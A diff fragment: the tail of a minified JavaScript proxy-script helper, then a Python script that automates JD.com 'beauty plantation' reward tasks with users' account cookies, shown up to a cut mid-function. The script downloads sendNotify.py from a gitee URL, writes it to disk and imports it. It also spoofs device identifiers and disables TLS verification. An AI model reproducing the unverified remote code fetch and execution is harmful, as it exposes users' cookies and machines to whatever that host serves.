return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_beauty_plant.py b/jd_beauty_plant.py new file mode 100644 index 0000000..f70163d --- /dev/null +++ b/jd_beauty_plant.py @@ -0,0 +1,1000 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +感谢Curtin提供的其他脚本供我参考 +感谢aburd ch大佬的指导 +项目名称:xF_jd_beauty_plant.py +Author: 一风一扬 +功能:健康社区-种植园自动任务 +Date: 2022-1-4 +cron: 10 9,11,15,21 * * * jd_beauty_plant.py +new Env('化妆馆-种植园自动任务'); + + +活动入口:25:/¥2EaeU74Gz07gJ% + +教程:该活动与京东的ck通用,所以只需要填写第几个号运行改脚本就行了。 + +青龙变量填写export plant_cookie="1",代表京东CK的第一个号执行该脚本 + +多账号用&隔开,例如export plant_cookie="1&2",代表京东CK的第一、二个号执行该脚本。这样做,JD的ck过期就不用维护两次了,所以做出了更新。 + +青龙变量export choose_plant_id="true",表示自己选用浇水的ID,适用于种植了多个产品的人,默认为false,如果是false仅适用于种植了一个产品的人。 +对于多账号的,只要有一个账号种植多个产品,都必须为true才能浇水。如果choose_plant_id="false",planted_id可以不填写变量值。 +青龙变量export planted_id = 'xxxx',表示需要浇水的id,单账号可以先填写export planted_id = '111111',export choose_plant_id="true",运行一次脚本 +日志输出会有planted_id,然后再重新修改export planted_id = 'xxxxxx'。多个账号也一样,如果2个账号export planted_id = '111111&111111' +3个账号export planted_id = '111111&111111&111111',以此类推。 +注意:planted_id和ck位置要对应。而且你有多少个账号,就得填多少个planted_id,首次111111填写时,为6位数。 +例如export plant_cookie="xxxx&xxxx&xxx",那export planted_id = "111111&111111&111111",也要写满3个id,这样才能保证所有账号都能跑 + +https://github.com/jsNO1/e +''' + +######################################################以下代码请不要乱改###################################### + +UserAgent = '' +account = '' +cookie = '' +cookies = [] +choose_plant_id = 'false' +planted_id = '' +shop_id = '' +beauty_plant_exchange = 'false' +planted_ids = [] + +import requests +import time, datetime +import requests, re, os, sys, random, json +from urllib.parse import quote, unquote +import threading +import urllib3 + +# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +requests.packages.urllib3.disable_warnings () + +today = datetime.datetime.now ().strftime ('%Y-%m-%d') +tomorrow = (datetime.datetime.now () + datetime.timedelta (days=1)).strftime ('%Y-%m-%d') + +nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + +time1 = '21:00:00.00000000' +time2 = '23:00:00.00000000' + +flag_time1 = '{} {}'.format (today, time1) +flag_time2 = '{} {}'.format (today, time2) + +pwd = os.path.dirname (os.path.abspath (__file__)) + os.sep +path = pwd + "env.sh" + +sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) + +sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) + + +def printT(s): + print ("[{0}]: {1}".format (datetime.datetime.now ().strftime ("%Y-%m-%d %H:%M:%S"), s)) + sys.stdout.flush () + + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float (label) + elif '&' in label: + return label.split ('&') + elif '@' in label: + return label.split ('@') + else: + return int (label) + except: + return label + + +# 获取v4环境 特殊处理 +try: + with open (v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read () + r = re.compile (r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall (v4Env) + curenv = locals () + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs (i[1]) +except: + pass + +############# 在pycharm测试ql环境用,实际用下面的代码运行 ######### +# with open(path, "r+", encoding="utf-8") as f: +# ck = f.read() +# if "JD_COOKIE" in ck: +# r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) +# cookies = r.findall (ck) +# # print(cookies) +# # cookies = cookies[0] +# # print(cookies) +# # cookies = cookies.split ('&') +# printT ("已获取并使用ck环境 Cookie") +####################################################################### + + +if "plant_cookie" in os.environ: + if len (os.environ["plant_cookie"]) == 1: + is_ck = int(os.environ["plant_cookie"]) + cookie1 = os.environ["JD_COOKIE"].split('&') + cookie = cookie1[is_ck-1] + printT ("已获取并使用Env环境cookie") + elif len (os.environ["plant_cookie"]) > 1: + cookies1 = [] + cookies1 = os.environ["JD_COOKIE"] + cookies1 = cookies1.split ('&') + is_ck = os.environ["plant_cookie"].split('&') + for i in is_ck: + cookies.append(cookies1[int(i)-1]) + printT ("已获取并使用Env环境plant_cookies") +else: + printT ("变量plant_cookie未填写") + exit (0) + +if "choose_plant_id" in os.environ: + choose_plant_id = os.environ["choose_plant_id"] + printT (f"已获取并使用Env环境choose_plant_id={choose_plant_id}") +else: + printT ("变量choose_plant_id未填写,默认为false只种植了一个,如果种植了多个,请填写改变量planted_id") + +if "planted_id" in os.environ: + if len (os.environ["planted_id"]) > 8: + planted_ids = os.environ["planted_id"] + planted_ids = planted_ids.split ('&') + else: + planted_id = os.environ["planted_id"] + printT (f"已获取并使用Env环境planted_id={planted_id}") +else: + printT ("变量planted_id未填写,默认为false只种植了一个,如果种植了多个,请填写改变量planted_id") + +if "beauty_plant_exchange" in os.environ: + beauty_plant_exchange = os.environ["beauty_plant_exchange"] + printT (f"已获取并使用Env环境beauty_plant_exchange={beauty_plant_exchange}") +else: + printT ("变量beauty_plant_exchange未填写,默认为false,不用美妆币兑换肥料") + + +def userAgent(): + """ + 随机生成一个UA + :return: jdapp;iPhone;9.4.8;14.3;xxxx;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 + """ + if not UserAgent: + uuid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 40)) + addressid = ''.join (random.sample ('1234567898647', 10)) + iosVer = ''.join ( + random.sample (["14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1", "13.7", "13.1.2", "13.1.1"], 1)) + iosV = iosVer.replace ('.', '_') + iPhone = ''.join (random.sample (["8", "9", "10", "11", "12", "13"], 1)) + ADID = ''.join (random.sample ('0987654321ABCDEF', 8)) + '-' + ''.join ( + random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join ( + random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join ( + random.sample ('0987654321ABCDEF', 4)) + '-' + ''.join (random.sample ('0987654321ABCDEF', 12)) + return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone{iPhone},1;addressid/{addressid};supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + else: + return UserAgent + + +## 获取通知服务 +class msg (object): + def __init__(self, m=''): + self.str_msg = m + self.message () + + def message(self): + global msg_info + printT (self.str_msg) + try: + msg_info = "{}\n{}".format (msg_info, self.str_msg) + except: + msg_info = "{}".format (self.str_msg) + sys.stdout.flush () # 这代码的作用就是刷新缓冲区。 + # 当我们打印一些字符时,并不是调用print函数后就立即打印的。一般会先将字符送到缓冲区,然后再打印。 + # 这就存在一个问题,如果你想等时间间隔的打印一些字符,但由于缓冲区没满,不会打印。就需要采取一些手段。如每次打印后强行刷新缓冲区。 + + def getsendNotify(self, a=0): + if a == 0: + a += 1 + try: + url = 'https://gitee.com/curtinlv/Public/raw/master/sendNotify.py' + response = requests.get (url) + if 'curtinlv' in response.text: + with open ('sendNotify.py', "w+", encoding="utf-8") as f: + f.write (response.text) + else: + if a < 5: + a += 1 + return self.getsendNotify (a) + else: + pass + except: + if a < 5: + a += 1 + return self.getsendNotify (a) + else: + pass + + def main(self): + global send + cur_path = os.path.abspath (os.path.dirname (__file__)) + sys.path.append (cur_path) + if os.path.exists (cur_path + "/sendNotify.py"): + try: + from sendNotify import send + except: + self.getsendNotify () + try: + from sendNotify import send + except: + printT ("加载通知服务失败~") + else: + self.getsendNotify () + try: + from sendNotify import send + except: + printT ("加载通知服务失败~") + ################### + + +msg ().main () + + +def setName(cookie): + try: + r = re.compile (r"pt_pin=(.*?);") # 指定一个规则:查找pt_pin=与;之前的所有字符,但pt_pin=与;不复制。r"" 的作用是去除转义字符. + userName = r.findall (cookie) # 查找pt_pin=与;之前的所有字符,并复制给r,其中pt_pin=与;不复制。 + # print (userName) + userName = unquote (userName[0]) # r.findall(cookie)赋值是list列表,这个赋值为字符串 + # print(userName) + return userName + except Exception as e: + print (e, "cookie格式有误!") + exit (2) + + +# 获取ck +def get_ck(token, sid_ck, account): + try: + url = 'https://api.m.jd.com/client.action?functionId=isvObfuscator' + headers = { + # 'Connection': 'keep-alive', + 'accept': '*/*', + "cookie": f"{token}", + 'host': 'api.m.jd.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'user-Agent': "JD4iPhone/167922%20(iPhone;%20iOS;%20Scale/2.00)", + 'accept-Encoding': 'gzip, deflate, br', + 'accept-Language': 'zh-Hans-CN;q=1', + "content-type": "application/x-www-form-urlencoded", + # "content-length":"1348", + } + timestamp = int (round (time.time () * 1000)) + timestamp1 = int (timestamp / 1000) + data = r'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruismzd-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167922&client=apple&clientVersion=10.3.2&d_brand=apple&d_model=iPhone12%2C1&ef=1&eid=eidI4a9081236as4w7JpXa5zRZuwROIEo3ORpcOyassXhjPBIXtrtbjusqCxeW3E1fOtHUlGhZUCur1Q1iocDze1pQ9jBDGfQs8UXxMCTz02fk0RIHpB&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22ENS4AtO3EJS%3D%22%2C%22wifiBssid%22%3A%22' + f"{sid_ck}" + r'%3D%22%2C%22osVersion%22%3A%22CJUkCK%3D%3D%22%2C%22area%22%3A%22CJvpCJY1DV80ENY2XzK%3D%22%2C%22openudid%22%3A%22Ytq3YtKyDzO5CJuyZtu4CWSyZtC0Ytc1CJLsDwC5YwO0YtS5CNrsCK%3D%3D%22%2C%22uuid%22%3A%22aQf1ZRdxb2r4ovZ1EJZhcxYlVNZSZz09%22%7D%2C%22ts%22%3A1642002985%2C%22hdid%22%3A%22JM9F1ywUPwflvMIpYPok0tt5k9kW4ArJEU3lfLhxBqw%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%2C%22pvcStu%22%3A%221%22%7D&isBackground=N&joycious=88&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=01&sign=946db60626658b250cf47aafb6f67691&st=1642002999847&sv=112&uemps=0-0&uts=0f31TVRjBSu3kkqwe7t25AkQCKuzV3pz8JrojVuU0630g%2BkZigs9kTwRghT26sE72/e92RRKan/%2B9SRjIJYCLuhew91djUwnIY47k31Rwne/U1fOHHr9FmR31X03JKJjwao/EC1gy4fj7PV1Co0ZOjiCMTscFo/8id2r8pCHYMZcaeH3yPTLq1MyFF3o3nkStM/993MbC9zim7imw8b1Fg%3D%3D' + # data = '{"token":"AAFh3ANjADAPSunyKSzXTA-UDxrs3Tn9hoy92x4sWmVB0Kv9ey-gAMEdJaSDWLWtnMX8lqLujBo","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers, data=data) + result = response.json () + # print(result) + access_token = result['token'] + # print(access_token) + return access_token + except Exception as e: + msg ("账号【{0}】获取ck失败,cookie过期".format (account)) + + +# 获取Authorization +def get_Authorization(access_token, account): + try: + url = 'https://xinruimz-isv.isvjcloud.com/papi/auth' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": 'Bearer undefined', + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/logined_jd/', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Origin": "https://xinruimz-isv.isvjcloud.com", + "Content-Type": "application/json;charset=utf-8", + + } + data = '{"token":"' + f"{access_token}" + r'","source":"01"}' + # print(data) + response = requests.post (url=url, verify=False, headers=headers, data=data) + result = response.json () + print (result) + access_token = result['access_token'] + access_token = r"Bearer " + access_token + # print(access_token) + return access_token + except Exception as e: + msg ("账号【{0}】获取Authorization失败,cookie过期".format (account)) + + +# 获取已种植的信息 +def get_planted_info(cookie, sid, account): + name_list = [] + planted_id_list = [] + position_list = [] + shop_id_list = [] + url = 'https://xinruimz-isv.isvjcloud.com/papi/get_home_info' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9' + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + planted_list = result['plant_info'] + # print(planted_list) + for i in range (len (planted_list)): + try: + name = result['plant_info'][f'{i + 1}']['data']['name'] + planted_id = result['plant_info'][f'{i + 1}']['data']['id'] + position = result['plant_info'][f'{i + 1}']['data']['position'] + shop_id = result['plant_info'][f'{i + 1}']['data']['shop_id'] + # print(name,planted_id,position,shop_id) + name_list.append (name) + planted_id_list.append (planted_id) + position_list.append (position) + shop_id_list.append (shop_id) + print (f"账号{account}种植的种子为", name, "planted_id:", planted_id, ",shop_id:", shop_id) + except Exception as e: + pass + return name_list, position_list, shop_id_list, planted_id_list + + +# 领取每日水滴 +def get_water(cookie, position, sid, account): + try: + j = 0 + url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_water' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/?sid={sid}&un_area=19_1655_4866_0', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + for i in position: + data = r'{"position":' + f"{i}" + r'}' + response = requests.post (url=url, verify=False, headers=headers, data=data) + # print(response.status_code) + if response.status_code == 204: + j += 1 + total = j * 10 + if response.status_code == 204: + msg ("账号【{0}】成功领取每日水滴{1}".format (account, total)) + + except Exception as e: + msg ("账号【{0}】领取每日水滴失败,可能是cookie过期".format (account)) + + +# 领取每日肥料 +def get_fertilizer(cookie, shop_id, account): + try: + j = 0 + url = 'https://xinruimz-isv.isvjcloud.com/papi/collect_fertilizer' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + for i in shop_id: + data = r'{"shop_id":' + f"{i}" + r'}' + response = requests.post (url=url, verify=False, headers=headers, data=data) + if response.status_code == 204: + j += 1 + total = j * 10 + if response.status_code == 204: + msg ("账号【{0}】成功领取每日肥料{1}".format (account, total)) + + except Exception as e: + msg ("账号【{0}】领取每日肥料失败,可能是cookie过期".format (account)) + + +# 获取任务信息 +def get_task(cookie, account): + try: + taskName_list = [] + taskId_list = [] + taskName_list2 = [] + taskId_list2 = [] + taskName_list3 = [] + taskId_list3 = [] + url = 'https://xinruimz-isv.isvjcloud.com/papi/water_task_info' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id=12&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + task_list = result['shops'] + task_list2 = result['meetingplaces'] + task_list3 = result['prodcuts'] # 浏览加购 + # print(task_list) + for i in range (len (task_list)): + try: + taskName = task_list[i]['name'] + taskId = task_list[i]['id'] + taskId_list.append (taskId) + taskName_list.append (taskName) + except Exception as e: + print (e) + for i in range (len (task_list2)): + try: + taskName2 = task_list2[i]['name'] + taskId2 = task_list2[i]['id'] + taskId_list2.append (taskId2) + taskName_list2.append (taskName2) + except Exception as e: + print (e) + for i in range (len (task_list3)): + try: + taskName3 = task_list3[i]['name'] + taskId3 = task_list3[i]['id'] + taskId_list3.append (taskId3) + taskName_list3.append (taskName3) + except Exception as e: + print (e) + # print(taskName_list,taskId_list,taskName_list2,taskId_list2,taskName_list3,taskId_list3) + return taskName_list, taskId_list, taskName_list2, taskId_list2, taskName_list3, taskId_list3 + except Exception as e: + print (e) + message = result['message'] + if "非法店铺" in message: + msg ("【账号{0}】种子过期,请重新种植".format (account)) + + +# 获取任务信息 +def get_fertilizer_task(cookie, shop_id, account): + try: + # taskName_list = [] + # taskId_list = [] + taskName_list2 = [] + taskId_list2 = [] + taskName_list3 = [] + taskId_list3 = [] + taskName_list4 = [] + taskId_list4 = [] + url = f'https://xinruimz-isv.isvjcloud.com/papi/fertilizer_task_info?shop_id={shop_id}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 'application/x.jd-school-raffle.v1+json', + "Authorization": cookie, + 'Referer': f'https://xinruimz-isv.isvjcloud.com/plantation/shop_index/?shop_id={shop_id}&channel=index', + 'Host': 'xinruimz-isv.isvjcloud.com', + # 'User-Agent': 'jdapp;iPhone;9.4.8;14.3;809409cbd5bb8a0fa8fff41378c1afe91b8075ad;network/wifi;ADID/201EDE7F-5111-49E8-9F0D-CCF9677CD6FE;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone13,4;addressid/2455696156;supportBestPay/0;appBuild/167629;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Content-Type": "application/json;charset=utf-8", + } + response = requests.get (url=url, verify=False, headers=headers) + result = response.json () + # print(result) + # task_list = result['shops'] + task_list2 = result['meetingplaces'] + task_list3 = result['prodcuts'] # 浏览加购 + task_list4 = result['live'] # 浏览直播 + # print(task_list) + # for i in range (len (task_list)): + # try: + # taskName = task_list[i]['name'] + # taskId = task_list[i]['id'] + # taskId_list.append(taskId) + # taskName_list.append(taskName) + # except Exception as e: + # print(e) + for i in range (len (task_list2)): + try: + taskName2 = task_list2[i]['name'] + taskId2 = task_list2[i]['id'] + taskId_list2.append (taskId2) + taskName_list2.append (taskName2) + except Exception as e: + print (e) + for i in range (len (task_list3)): + try: + taskName3 = task_list3[i]['name'] + taskId3 = task_list3[i]['id'] + taskId_list3.append (taskId3) + taskName_list3.append (taskName3) + except Exception as e: + print (e) + for i in range (len (task_list4)): + try: + taskName4 = task_list4[i]['name'] + taskId4 = task_list4[i]['id'] + taskId_list4.append (taskId4) + taskName_list4.append (taskName4) + except Exception as e: + print (e) + # print(taskName_list,taskId_list,taskName_list2,taskId_list2,taskName_list3,taskId_list3) + return taskName_list2, taskId_list2, taskName_list3, taskId_list3, taskName_list4, taskId_list4 + except Exception as e: + print (e) + message = result['message'] + if "非法店铺" in message: + msg ("【账号{0}】种子过期,请重新种植".format (account)) + + +# 做任务1 +def do_task1(cookie, taskName, taskId, account): + try: + url = f'https://xinruimz-isv.isvjcloud.com/papi/water_shop_view?shop_id={taskId}' + headers = { + 'Connection': 'keep-alive', + 'Accept': 